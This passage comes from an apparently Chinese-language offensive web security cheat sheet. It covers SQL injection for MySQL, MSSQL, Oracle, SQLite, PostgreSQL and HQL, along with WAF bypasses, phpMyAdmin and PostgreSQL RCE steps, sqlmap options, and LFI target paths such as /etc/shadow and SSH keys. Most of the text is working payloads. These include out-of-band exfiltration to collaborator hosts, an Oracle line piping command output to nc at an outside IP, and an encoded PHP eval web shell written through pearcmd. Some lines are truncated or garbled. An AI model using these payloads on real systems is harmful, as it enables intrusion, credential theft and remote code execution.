    ?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常
    -
    ?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒

  • group by with rollup

  • -
    ' or 1=1 group by pwd with rollup limit 1 offset 2#

  • 將字串轉成純數字

  • - 字串 -> 16進位 -> 10進位
    -
    conv(hex(YOUR_DATA), 16, 10)
    - 還原:
    unhex(con,10,16))
    - 需注意不要 O

  • 不使用逗號

  • -
    LIMIT N, M => LIMIT M OFFSET N
    -
    mid(user(), 1, 1) => mid(user() from 1 for 1)
    -
    UNION SELECT 1,2,3 => UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c)

  • 快速查找帶關鍵字的表

  • -
    select table_schema,table_name,column_name from information_schema.columns where table_schema !=0x696E666F726D6174696F6E5F736368656D61 and table_schema !=0x6D7973716C and table_schema !=0x706572666F726D616E63655F736368656D61 and (column_name like '%pass%' or column_name like '%pwd%');

  • 不知列名、不能訪問 information_schema 爆數據

  • - 須知道表名
    - 例如: artice、admin
    -
    select title from article where id = 4 and 0 union SELECT group_concat(a, 0x3a, b) FROM (SELECT 1 a,2 b,3 c UNION SELECT * FROM admin)x
    - 列名不夠,繼續加 4,5,6,7,... 一直到猜對列名個數

  • innodb

  • - 表引擎為 innodb
    - MySQL > 5.5
    - innodb_table_stats、innodb_table_index存放所有庫名表名
    -
    select table_name from mysql.innodb_table_stats where database_name=資料庫名;
    - Example: Codegate2018 prequal - simpleCMS

  • sys

  • -
    sys.statements_with_full_table_scans
    - 可以撈表名
    - 詳見 PPP simpleCMS writeup
    -
    select query from sys.statements_with_full_table_scans
    - MySQL 5.7

  • Bypass WAF
  • - select password => SelEcT password (大小寫)
    -
    select password => select/**/password (繞空白)
    -
    select password => s%65lect%20password (URLencode)
    -
    select password => select(password) (繞空白)
    -
    select password => select%0apassword (繞空白)
    - %09, %0a, %0b, %0c, %0d, %a0
    -
    select password from admin => select password /*!from*/ admin (MySQL註解)
    -
    information_schema.schemata => (繞關鍵字/空白)
    -
    -
    select pass from user where id='admin' => select pass from user where id=0x61646d696e (繞引號)
    -
    id=concat(char(0x61),char(0x64),char(0x6d),char(0x69),char(0x6e))
    -
    ?id=0e2union select 1,2,3 (科學記號)
    -
    ?id=1union select 1,2,3會爛
    -
    ?id=0e1union(select~1,2,3) (~)
    -
    ?id=.1union select 1,2,3 (點)
    -
    WHERE => HAVING (繞關鍵字)
    -
    AND => && (繞關鍵字)
    -
    OR => ||
    -
    = => LIKE
    -
    a = 'b' => not a > 'b' and not a < 'b'
    -
    > 10 => not between 0 and 10
    -
    LIMIT 0,1 => LIMIT 1 OFFSET 0 (繞逗號)
    -
    substr('kaibro',1,1) => substr('kaibro' from 1 for 1)
    - Multipart/form-data繞過
    -
    - Example: Real World CTF 4th - Hack into Skynet
    - 偽造 User-Agent
    - e.g. 有些 WAF 不封 google bot

  • phpMyAdmin

  • - 寫文件 getshell
    - 條件
    - root 權限
    - 已知 web 路徑
    - 有寫檔權限
    -
    select "<?php phpinfo();?>" INTO OUTFILE "c:\\phpstudy\\www\\shell.php"
    - general_log getshell
    - 條件
    - 讀寫權限
    - 已知 web 路徑
    - step1. 開啟日誌:
    set global general_log = "ON";
    - step2. 指定日誌文件:
    set global general_log_file = "/var/www/html/shell.php";
    - step3. 寫入php:
    select "<?php phpinfo();?>";
    - slow_query getshell
    - step1. 設置日誌路徑:
    set GLOBAL slow_query_log_file='/var/www/html/shell.php';
    - step2. 開啟 slow_query_log:
    set GLOBAL slow_query_log=on;
    - step3. 寫入 php:
    select '<?php phpinfo();?>' from mysql.db where sleep(10);
    - C
    - phpMyAdmin : 4.8.0 ~ 4.8.3
    - LFI to RCE
    - 條件
    - 能登入後台
    - step1.
    CREATE DATABASE foo;CREATE TABLE foo.bar (baz (100) PRIMARY KEY );INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';
    - step2.
    /chk_rel.php?fixall_pmadb=1&db=foo
    - step3.
    - step4.
    /tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1
    - C
    - phpMyAdmin : 4.8.x
    - LFI to RCE
    - 條件
    - 能登入後台
    - Payload
    -
    index.php?target=db_sql.php%253f/../../../../../../windows/system.ini
    -
    index.php?target=sql.php%253f/../../../tmp/tmp/sess_16rme70p2qqnqjnhdiq3i6unu
    - 在控制台執行的 sql 語句會被寫入 session
    - Session id 可以從 cookie
    phpMyAdmin 得到
    - C
    - phpmyadmin :
    - 4.0.10.16 之前的4.0.x版本
    - 4.4.15.7 之前的 4.4.x版本
    - 4.6.3之前的 4.6.x版本
    - php :
    - 4.3.0 ~ 5.4.6
    -
    preg_replace RCE
    - 條件
    - 能登入後台
    - C
    - phpMyAdmin :
    - 4.0.1 ~ 4.2.12
    - php :
    - < 5.3.4
    - 條件
    - 能登入後台
    - 能截斷
    - Payload:
    gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=/../../../../phpinfo.txt%00 (需修改token)
    - C
    - : 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG
    -
    - C
    - : v3.5.2.2
    - ser.php Backdoor
    -
    - C
    - : 2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
    - config/config.inc.php 命令執行
    -
    - 弱密碼 / 萬用密碼
    - phpmyadmin 2.11.9.2: root/空密碼
    - phpmyadmin 2.11.3 / 2.11.4: 用戶名:
    'localhost'@'@"

    MSSQL

  • 子字串:

  • -
    SUBSTRING("abc", 1, 1) => 'a'
  • Ascii function

  • -
    ascii('A') => 65
  • Char function

  • -
    char(65) => 'a'
  • Concatenation

  • -
    +
    -
    'a'+'b' => 'ab'
  • Delay function

  • -
    WAITFOR DELAY '0:0:10'
  • 空白字元

  • -
    01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
  • IF 語句

  • - IF condition true-part ELSE false-part
    -
    IF (1=1) SELECT 'true' ELSE SELECT 'false'
  • 註解:

  • -
    --
    -
    /**/
  • TOP

  • - MSSQL 沒有
    LIMIT N, M 的用法
    -
    SELECT TOP 87 * FROM xxx 取最前面 87 筆
    - 取第 78~87 筆
    -
    SELECT pass FROM (SELECT pass, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS LIMIT FROM mydb.dbo.mytable)x WHERE LIMIT between 78 and 87
  • 其它:

  • - user
    - db_name()
    - user_name()
    - @@
    - @
    - @@ser
    - host_name()
    - has_dbaccess('master')
  • 查詢用戶

  • -
    select name, loginame from master..syslogins, master..sysprocesses
  • 查用戶密碼

  • -
    select user,password from master.dbo.syslogins
  • 當前角色是否為資料庫管理員

  • -
    SELECT is_sr('sysadmin')
  • 當前角色是否為db_owner

  • -
    SELECT IS_MEMBER('db_owner')
  • 爆DB name

  • -
    -
    -
    -
    SELECT catalog_name FROM information_schema.schemata
    -
  • 爆表名

  • -
    SELECT table_catalog, table_name FROM information_schema.tables
    -
    SELECT name FROM sysobjects WHERE xtype='U'
    -
    ID=02';if (select top 1 name from DBname..sysobjects where xtype='U' and name not in ('table1', 'table2'))>0 select 1--

  • 爆column

  • -
    SELECT table_catalog, table_name, column_name FROM information_schema.columns
    -
    SELECT name FROM syscolumns WHERE id=object_id('news')
    -
    ID=1337';if (select top 1 col_name(object_id('table_name'), i) from sysobjects)>0 select 1--
    -
    SELECT name FROM DBNAME..syscolumns WHERE id=(SELECT id FROM DBNAME..sysobjects WHERE name='TABLENAME')

  • 一次性獲取全部資料

  • -
    select quotename(name) from master..sysdatabases FOR XML PATH('')
    -
    select concat_ws(0x3a,table_schema,table_name,column_name) from information_schema.columns for json auto
  • Union Based

  • - Column 型態必須相同
    - 可用
    NULL來避免
  • Error Based

  • - 利用型別轉換錯誤
    -
    id=1 and user=0
  • Out of Band

  • -
    declare @p (1024);set @p=(SELECT xxxx);exec('master..xp_dirtree "//'+@p+'.oob.kaibro.tw/a"')
    -
    fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricod.burpcollaborator.net\1.xem',null,null)
    - Requires VIEW SER permission on the server
    -
    fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)
    - Requires the CONTROL SER.
    -
    fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.oob.kaibro.tw',default)
    - Requires the CONTROL SER.
  • 判斷是否站庫分離

  • - 客戶端主機名:
    select host_name();
    - 服務端主機名:
    select @@ser;
    - 兩者不同即站庫分離

  • 讀檔

  • -
    select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)

  • xp_cmdshell

  • - 在 MSSQL 2000 默認開啟
    - MSSQL 2005 之後默認關閉
    - 有 sa 權限,可透過 sp_configure 重啟它

    - 執行 command
    -
    exec xp_cmdshell 'whoami'

    - 關閉xp_cmdshell

  • 快速查找帶關鍵字的表

  • -
    SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND (syscolumns.name LIKE '%pass%' or syscolumns.name LIKE '%pwd%' or syscolumns.name LIKE '%first%');

  • 繞 WAF

  • - Non-standard whitespace character:
    -
    1%C2%85union%C2%85select%C2%A0null,@@,null--
    - 混淆 UNION
    -
    0eunion+select+null,@@,null--
    - Unicode 繞過
    - IIS 對 Unicode 編碼是可以解析的,即
    s%u0065lect 會被解析為 select

    Oracle

  • SELECT 語句必須包含 FROM

  • - 未指定來源,可以用
    dual 表
  • 子字串:

  • -
    SUBSTR('abc', 1, 1) => 'a'
  • 空白字元

  • -
    00 0A 0D 0C 09 20
  • IF語句

  • -
    IF condition THEN true-part [ELSE false-part] END IF
  • 註解:

  • -
    --
    -
    /**/
  • 不支援 limit

  • - 改用 rownum
    -
    select table_name from (select rownum no, table_name from all_tables) where no=1
  • 單雙引號

  • - 單引號: string, date
    - 雙引號: identifier (table name, column name, ...)
  • 其它

  • -
    SYS.DATABASE_NAME
    - current database
    -
    USER
    - current user
    - or
    sys.login_user
    -
    SELECT role FROM session_roles
    - current role
    -
    SELECT pri FROM user_sys_privs
    - system pri granted to the current user
    -
    SELECT pri FROM role_sys_privs
    - privs the current role has
    -
    SELECT pri FROM session_privs
    - the all privs that current user has = user_sys_privs + role_sys_privs
    -
    SELECT banner FROM where rownum=1
    - database
    -
    SELECT host_name FROM ;
    - Name of the host machine
    -
    SELECT banner FROM WHERE banner LIKE 'TNS%'
    - 作業系統版本
    -
    utl_inaddr.get_host_address
    - 本機IP
    -
    select utl_inaddr.get_host_name('87.87.87.87') from dual
    - IP反解
    -
    dba_tables
    - 系統所有表資訊,需要 dba 權限
    -
    user_tables
    - 當前使用者名下表的資訊
  • 庫名(schema)

  • -
    SELECT DISTINCT OWNER FROM ALL_TABLES
  • 表名

  • -
    SELECT OWNER, TABLE_NAME FROM ALL_TABLES
  • Column

  • -
    SELECT OWNER, TABLE_NAME, COLUMN_NAME FROM ALL_TAB_COLUMNS
  • Union Based

  • - Column 型態必須相同
    - 可用
    NULL 來避免錯誤
    -
    UNION SELECT 1, 'aa', null FROM dual
  • Time Based

  • -
    dbms_pipe.recei(('a'),10)
    -
    SELECT CASE WHEN (CONDITION_HERE) THEN 'a'||dbms_pipe.recei(('a'),10) ELSE NULL END FROM dual
  • Error Based

  • -
    CTXSYS.DRITHSX.SN
    -
    SELECT * FROM news WHERE id=1 and CTXSYS.DRITHSX.SN(user, (SELECT banner FROM WHERE rownum=1))=1
    -
    utl_inaddr.get_host_name
    -
    and 1=utl_inaddr.get_host_name((SQL in HERE))
    - 版本 >=11g,需要超級用戶或授予網路權限的用戶才能用
    -
    dbms_xdb_.checkin
    -
    and (select dbms_xdb_.checkin((select user from dual)) from dual) is not null
    -
    dbms_xdb_.make
    -
    and (select dbms_xdb_.make((select user from dual)) from dual) is not null
    -
    dbms_xdb_.uncheckout
    -
    and (select dbms_xdb_.uncheckout((select user from dual)) from dual) is not null
    -
    dbms_utility.sqlid_to_sqlhash
    -
    and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null
  • Out of band

  • -
    UTL_HTTP.request(' user from dual))=1
    -
    SYS.DBMS_LDAP.INIT()
    -
    utl_inaddr.get_host_address()
    -
    HTTPURITYPE
    -
    SELECT HTTPURITYPE(').GETCLOB() FROM DUAL;
    -
    extractvalue() XXE
    -
    SELECT extractvalue(xmltype('<?xml ="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM " xxxx)||'.oob.kaibro.tw/"> %remote;]>'),'/l') FROM dual
    - 新版已 patch
  • users

  • -
    select username from all_users
    - lists all users of the database
    -
    select name, password from sys.user$
    -
    select username,password,account_status from dba_users
  • Ja

  • - 可以創建 Java 源碼並存成 Oracle 物件
    -
    CREATE JA NAMED "xxxx" AS <Java Code>
  • Code execution

  • - load lib
    -
    create or replace library lib_evil as '/home/oracle/evil.so';
    -
    create or replace function cmd(str ) return as language c library lib_evil name "cmd";
    -
    select cmd('whoami') from dual;
    -
    dbms_ja
    -
    dbms_ja('com/sun/tools/script/shell/Main -e "var p = java.lang.Runtime.getRuntime().exec(''$cmd'');"')
    -
    DBMS_JA.FUNCALL
    -
    SELECT DBMS_JA.FUNCALL('oracle/aurora/util/Wrapper','main','/usr/bin/bash','-c','/bin/ls|/usr/bin/nc 1.2.3.4 1234') FROM DUAL;
    -
    DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES
    - 利用 PL/SQL Injection 提權
    - 影響版本: Oracle 8.1.7.4, 9.2.0.1 - 9.2.0.7, 10.1.0.2 - 10.1.0.4, 10.2.0.1-10.2.0.2

    - dbms_xmlquery.newcontext
    - 執行多語句
    - 影響版本: oracle 10g, 11g 等,高版本已修復

  • 特殊用法

  • -
    DBMS_XMLGEN.getXML('select user from dual')

    SQLite

  • 子字串:

  • -
    substr(“abc",1,1) => 'a'
  • Ascii function:

  • -
    unicode('d') => 100
  • legth

  • -
    length('ab') => 2
  • Concatenation

  • -
    ||
    -
    'a' || 'b' => 'ab'
  • Time Delay

  • -
    randomblob(100000000)
  • 空白字元

  • -
    0A 0D 0C 09 20
  • Case when

  • - SQLite 沒有
    if
    - 可以用
    Case When ... Then ... 代替
    -
    case when (條件) then ... else ... end
  • 註解

  • -
    --
  • 爆表名

  • -
    SELECT name FROM sqlite_master WHERE type='table'
  • 爆表結構(含 Column)

  • -
    SELECT sql FROM sqlite_master WHERE type='table'
  • 其他

  • -
    sqlite_()
    - sqlite 無法使用
    \' 跳脫單引號
    -
    [] 神奇用法
    -
    CREATE TABLE a AS SELECT sql [ some shit... ]FROM sqlite_master;
    - CREATE TABLE 後面也能接 SELECT condition
    - zer0pts CTF 2020 - phpNantokaAdmin
  • Boolean Based: SECCON 2017 qual SqlSRF
  • <details>
    <summary><b>Click here to view script</b></summary>

    </details>

    PostgreSQL

  • 子字串

  • -
    substr("abc", 1, 1) => 'a'
  • Ascii function

  • -
    ascii('x') => 120
  • Char function

  • -
    chr(65) => A
  • Concatenation

  • -
    ||
    -
    'a' || 'b' => 'ab'
  • Delay function

  • -
    pg_sleep(5)
    -
    GENERATE_SERIES(1, 1000000)
    -
    repeat('a', 10000000)
  • 空白字元

  • -
    0A 0D 0C 09 20
  • encode / decode

  • -
    encode('123\\000\\001', 'base64') => MTIzAAE=
    -
    decode('MTIzAAE=', 'base64') => 123\000\001
  • 不支援limit N, M

  • -
    limit a offset b 略過前 b 筆,抓出 a 筆出來
  • 註解

  • -
    --
    -
    /**/
  • $$ 取代引號

  • -
    SELECT $$This is a string$$
  • 爆庫名

  • -
    SELECT datname FROM pg_database
  • 爆表名

  • -
    SELECT tablename FROM pg_tables WHERE schemaname='dbname'
  • 爆Column

  • -
    SELECT column_name FROM information_schema.columns WHERE table_name='admin'
  • Dump all

  • -
    array_to_string(array(select userid||':'||password from users),',')
  • 列舉 pri

  • -
    SELECT * FROM pg_roles;
  • 列舉用戶 hash

  • -
    SELECT usename, passwd FROM pg_shadow
  • RCE

  • - C–9193
    - 在 9.3 版本實作了
    COPY TO/FROM PROGRAM
    - 版本 9.3 ~ 11.2 預設啟用
    - 讓 super user 和任何在
    pg_read_ser 群組的 user 可以執行任意指令
    - 方法
    -
    DROP TABLE IF EXISTS cmd_exec;
    -
    CREATE TABLE cmd_exec(cmd_output text);
    -
    COPY cmd_exec FROM PROGRAM 'id';
    -
    SELECT * FROM cmd_exec;
    - 版本 8.2 以前
    -
    CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
    -
    select system('id');
    - UDF
    - sqlmap udf:
    -
    CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/xxx/cmd.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
    -
    SELECT sys_eval("id");
  • 其它

  • - ()
    - current\_database()
    - user
    - current_user
    -
    SELECT usename FROM pg_user;
    - getpgusername()
    - current\_schema
    - current\_query()
    - inet\_ser()
    - inet\_ser()
    - inet\_client\_addr()
    - inet\_client\_port()
    - type con
    -
    cast(count(*) as text)
    -
    md5('abc')
    -
    replace('abcdefabcdef', 'cd', 'XX') => abXXefabXXef
    -
    pg_read_file(filename, offset, length)
    - 讀檔
    - 只能讀 data_directory 下的
    -
    pg_ls_dir(dirname)
    - 列目錄內容
    - 只能列 data_directory 下的
    - PHP 的
    pg_query() 可以多語句執行
    -
    lo_import(), lo_get() 讀檔
    -
    select cast(lo_import('/var/lib/postgresql/data/secret') as text) => 18440
    -
    select cast(lo_get(18440) as text) => secret_here

    MS Access

  • 沒有註解

  • - 某些情況可以用
    %00, %16 來達到類似效果
  • 沒有 Stacked Queries

  • 沒有 Limit

  • - 可以用
    TOP, LAST 取代
    -
    'UNION SELECT TOP 5 xxx FROM yyy%00
  • 沒有 Sleep, Benchmark, ...

  • 支援 Subquery

  • -
    'AND (SELECT TOP 1 'xxx' FROM table)%00
  • 在 subquery 或 Union select 時,需要指定 FROM

  • String Concatenation

  • -
    & (%26)
    -
    + (%2B)
    -
    'UNION SELECT 'aa' %2b 'bb' FROM table%00
  • Ascii Function

  • -
    ASC()
    -
    'UNION SELECT ASC('A') FROM table%00
  • Substring Function

  • -
    Mid()
    -
    Mid('admin',1,1)
  • IF THEN

  • -
    IFF(condition, true, false)
    -
    'UNION SELECT IFF(1=1, 'a', 'b') FROM table%00
  • Ref

  • -

    ORM injection

  • Hibernate

  • - 不支援 UNION 語法
    - 單引號跳脫法
    - MySQL 中,單引號用
    \' 跳脫
    - HQL 中,用兩個單引號
    '' 跳脫
    -
    'abc\''or 1=(SELECT 1)--'
    - 在 HQL 是一個字串
    - 在 MySQL 是字串+額外 SQL 語句
    - Magic Function 法
    - PostgreSQL 中內建
    query_to_xml('Arbitary SQL')
    - Oracle 中有
    dbms_xmlgen.getxml('SQL')
    - Ja
    - 可以從 classpath 中去找 constant 來用
    - 例如
    ch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHAR 在 MySQL 層就會被解成單引號 (在 HQL 層則不是)
    - Example: DEVCORE Wargame 2024 - Spring
    -
    /a'*length('a')*org.apache.logging.log4j.util.Chars.QUOTE and '-- '='a
    - HQL: 等同
    /a'*length('a')*org.apache.logging.log4j.util.Chars.QUOTE and '[shit]'='a
    - MySQL: 等同
    /a'*length('a')*'[shit]'-- [shit]
    - 常見 Constants:
    -
    org.apache.batik.util.XMLConstants.XML_CHAR_APOS
    -
    com.ibm.icu.impl.PatternTokenizer.SINGLE_QUOTE
    -
    jodd.util.StringPool.SINGLE_QUOTE
    -
    ch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHAR
    -
    cz.vutbr.web.csskit.OutputUtil.STRING_OPENING
    -
    com.sun.java.help.impl.DocPConst.QUOTE
    -
    org.eclipse.help.internal.webapp.utils.JSonHelper.QUOTE
    -
    org.apache.logging.log4j.util.Chars.QUOTE
    - Reference
    -
    -

    HQL injection example (pwn2win 2017)


  • - Output:
    ERROR: could not stat file "flag": No such file or directory


  • - Output:
    ERROR: could not stat file "secret": No such file or directory
  • order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select secret from flag)))',true,false,'')),1)

  • - Output:
    ERROR: could not stat file "CTF-BR{bl00dsuck3rs_HQL1njection_pwn2win}": No such file or directory

    SQL Injection with MD5

  • $sql = "SELECT * FROM admin WHERE pass = '".md5($password, true)."'";

  • ffifdyop

  • - md5:
    276f722736c95d99e921722cf9ed621c
    - to string:
    'or'6<trash>

    HTTP Parameter Pollution

  • id=1&id=2&id=3

  • - ASP.NET + IIS:
    id=1,2,3
    - ASP + IIS:
    id=1,2,3
    - PHP + Apache:
    id=3

    SQLmap


  • Usage

  • -
    python sqlmap.py -u 'test.kaibro.tw/a.php?id=1'
    - 庫名:
    --dbs
    - 表名:
    -D dbname --tables
    - column:
    -D dbname -T tbname --columns
    - dump:
    -D dbname -T tbname --dump
    -
    --start=1
    -
    --stop=5566
    - DBA?
    --is-dba
    - 爆帳密:
    --passwords
    - 看權限:
    --pri
    - 拿shell:
    --os-shell
    - interative SQL:
    --sql-shell
    - 讀檔:
    --file-read=/etc/passwd
    - Delay時間:
    --time-sec=10
    - User-Agent:
    --random-agent
    - Thread:
    --threads=10
    - Level:
    --level=3
    - default: 1
    -
    --technique
    - default:
    BEUSTQ
    - Cookie:
    --cookie="abc=55667788"
    - Tor:
    --tor --check-tor --tor-type=SOCKS5 --tor-port=9050

    LFI

    Testing Payload

    Linux / Unix

  • Common Payload

  • -
    ./index.php
    -
    ././index.php
    -
    .//index.php
    -
    ../../../../../../etc/passwd
    -
    ../../../../../../etc/passwd%00
    - 僅在 5.3.0 以下可用
    - magic_quotes_gpc 需為OFF
    -
    ....//....//....//....//etc/passwd
    -
    %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
    -
    %252e/%252e/etc/passwd
    -
    NN/NN/NN/etc/passwd
    -
    .+./.+./.+./.+./.+./.+./.+./.+./.+./.+./etc/passwd
    -
    static\..\..\..\..\..\..\..\..\etc\passwd

  • Config

  • -
    /usr/local/apache2/conf/httpd.conf
    -
    /usr/local/etc/apache2/httpd.conf
    -
    /usr/local/nginx/conf/nginx.conf
    -
    /etc/apache2/sites-a/000-default.conf
    -
    /etc/apache2/apache2.conf
    -
    /etc/apache2/httpd.conf
    -
    /etc/httpd/conf/httpd.conf
    -
    /etc/nginx/conf.d/default.conf
    -
    /etc/nginx/nginx.conf
    -
    /etc/nginx/sites-enabled/default
    -
    /etc/nginx/sites-enabled/default.conf
    -
    /etc/mysql/my.cnf
    -
    /etc/resolv.conf
    -
    /etc/named.conf
    -
    /etc/rsyslog.conf
    -
    /etc/samba/smb.conf
    -
    /etc/openldap/slapd.conf
    -
    /etc/mongod.conf
    -
    /etc/krb5.conf
    -
    ~/.tmux.conf
    -
    ~/.mongorc.js
    -
    $TOMCAT_HOME/conf/tomcat-users.xml
    -
    $TOMCAT_HOME/conf/server.xml

  • Log

  • -
    /var/log/apache2/error.log
    -
    /var/log/httpd/access_log
    -
    /var/log/mail.log
    -
    /var/log/auth.log
    -
    /var/log/messages
    -
    /var/log/secure
    -
    /var/log/sshd.log
    -
    /var/log/mysqld.log
    -
    /var/log/mongodb/mongod.log
    -
    .pm2/pm2.log
    -
    $TOMCAT_HOME/logs/catalina.out

  • History

  • -
    .history
    -
    .bash_history
    -
    .sh_history
    -
    .zsh_history
    -
    .
    -
    .php_history
    -
    .mysql_history
    -
    .dbshell
    -
    .histfile
    -
    .node_repl_history
    -
    .python_history
    -
    .scapy_history
    -
    .sqlite_history
    -
    .psql_history
    -
    .rediscli_history
    -
    .coffee_history
    -
    .lesshst
    -
    .wget-hsts
    -
    .config/fish/fish_history
    -
    .local/share/fish/fish_history
    -
    .ipython/profile_default/history.sqlite

  • 其他

  • -
    /proc/self/cmdline
    -
    /proc/self/fd/[0-9]*
    -
    /proc/self/environ
    -
    /proc/net/fib_trie
    -
    /proc/mounts
    -
    /proc/net/arp
    -
    /proc/net/tcp
    -
    /proc/sched_debug
    -
    .htaccess
    -
    ~/.bashrc
    -
    ~/.bash_profile
    -
    ~/.bash_logout
    -
    ~/.zshrc
    -
    ~/.aws/config
    -
    ~/.aws/credentials
    -
    ~/.boto
    -
    ~/.s3cfg
    -
    ~/.gitconfig
    -
    ~/.config/git/config
    -
    ~/.git-credentials
    -
    ~/.env
    -
    /etc/passwd
    -
    /etc/shadow
    -
    /etc/hosts
    -
    /etc/rc.d/rc.local
    -
    /etc/boto.cfg
    -
    /root/.ssh/id_rsa
    -
    /root/.ssh/authorized_keys
    -
    /root/.ssh/known_hosts
    -
    /root/.ssh/config
    -
    /etc/sysconfig/network-scripts/ifcfg-eth0
    -
    /etc/exports
    -
    /etc/crontab
    -
    //cron/root
    -
    //cron/crontabs/root
    -
    /var/mail/<username>

    Windows

  • C:/Windows/win.ini

  • C:/boot.ini

  • C:/apache/logs/access.log

  • ../../../../../../../../../boot.ini/.......................

  • C:\Windows\System32\drivers\etc\hosts

  • C:\WINDOWS\System32\Config\SAM

  • C:/WINDOWS/repair/sam

  • C:/WINDOWS/repair/system

  • %SYSTEMROOT%\System32\config\RegBack\SAM

  • %SYSTEMROOT%\System32\config\RegBack\system

  • %WINDIR%\system32\config\AppEvent.Evt

  • %WINDIR%\system32\config\SecEvent.Evt

  • %WINDIR%\iis[].log

  • %WINDIR%\debug\NetSetup.log

  • %SYSTEMDRI.bat

  • C:\Documents and Settings\All Users\Application Data\Git\config

  • C:\ProgramData\Git\config

  • $en\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

  • C:\inetpub\temp\appPools\DefaultAppPool\DefaultAppPool.config

  • C:\Windows\System32\inetsr\ApplicationHost.config

  • C:\WINDOWS\debug\NetSetup.log

  • C:\WINDOWS\pfro.log

  • C:\inetpub\temp\apppools\DefaultAppPool\DefaultAppPool.config
  • 環境變數

  • ../../../../proc/self/environ

  • - HTTP_User_Agent塞php script

    php://filter

  • php://filter/convert.base64-encode/resource=index.php

  • php://filter/convert.base64-decode/resource=index.php

  • php://filter/read=string.rot13/resource=index.php

  • php://filter/zlib.deflate/resource=index.php

  • php://filter/zlib.inflate/resource=index.php

  • php://filter/convert.quoted-printable-encode/resource=index.php

  • php://filter/read=string.strip_tags/resource=php://input

  • php://filter/convert.icon.UCS-2BE/resource=index.php

  • php://filter/convert.icon.UCS-4BE/resource=index.php

  • ...

  • 進階玩法

  • - LFI RCE without controlling any file:
    - Memory Limit Oracle to read local file:
    - Example:
    - hxp ctf 2021 - includer's revenge
    - CakeCTF 2022 - ImageSurfing
    - DownUnderCTF 2022 - minimal-php
    - blaklisctf - chall3
    - HITCON CTF 2022 - web2pdf
    - N1CTF 2023 - laravel

    php://input

  • ?page=php://input

  • - post data:
    <?php system("net user"); ?>
    - 需要有開啟
    url_allow_include,5.4.0 直接廢除

    phpinfo

  • 對 server 以 form-data 上傳文件,會產生 tmp 檔

  • 利用 phpinfo 得到 tmp 檔路徑和名稱

  • LFI Get shell

  • 限制

  • - Ubuntu 17 後,預設開啟
    Pri,無法利用

    php session

  • Session 一般存在 sess_{PHPSESSID} 中

  • 可以透過修改 Cookie 再 LFI 拿 shell

  • 以下為常見存放路徑

  • - /var/tmp/
    - /tmp/
    - /var/lib/php5/
    - /var/lib/php/
    - C:\windows\temp\sess_<PHPSESSID>
    - windows
  • session.upload_progress

  • - PHP 預設開啟
    - 用來監控上傳檔案進度
    - 當
    session.upload_progress.enabled 開啟,可以 POST 在 $_SESSION 中添加資料 (sess_{PHPSESSID})
    - 配合 LFI 可以 getshell
    -
    session.upload_progress.cleanup=on 時,可以透過 Race condition
    - 上傳 zip
    - 開頭會有
    upload_progress_,結尾也有多餘資料,導致上傳 zip 正常狀況無法解析
    - 利用 zip 格式鬆散特性,刪除前 16 bytes 或是手動修正 EOCD 和 CDH 的 offset 後上傳,可以讓 php 正常解析 zip
    - Example
    - HITCON CTF 2018 - One Line PHP Challenge
    - 0CTF 2021 Qual - 1linephp

    PEAR

  • 條件

  • - 安裝 pear (pearcmd.php)
    - 有開
    register_argc_argv
  • 寫檔

  • - 法一:
    /?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
    - 法二:
    /?+-c+/tmp/shell.php+-d+man_dir=<?phpinfo();?>/*+-s+list&file=/usr/local/lib/php/pearcmd.php
    - 法三:
    /?+download+
    - 法四:
    /?+channel-disco.tw/302.php?&file=/usr/local/lib/php/pearcmd.php
    - 302.php 會跳轉到 test.php 做下載
  • 安裝 package

  • -
    /?+install+--force+--installroot+/tmp/wtf+
  • Command Injection

  • -
    /?+install+-R+&file=/usr/local/lib/php/pearcmd.php&+-R+/tmp/other+channel://pear.php.net/Archi.4.14
    -
    /?+bundle+-d+/tmp/;echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMF0pOyA/Pg==%7Cbase64${IFS}-d>/tmp/hello-0daysober.php;/+/tmp/other/tmp/pear/download/Archi.4.14.tgz+&file=/usr/local/lib/php/pearcmd.php&
    -
    /?+svntag+/tmp/;echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMF0pOyA/Pg==%7Cbase64${IFS}-d>/tmp/hello-0daysober.php;/Archi+&file=/usr/local/lib/php/pearcmd.php&
  • Command Injection 2

  • - 不用寫檔、需要有 phpt file
    -
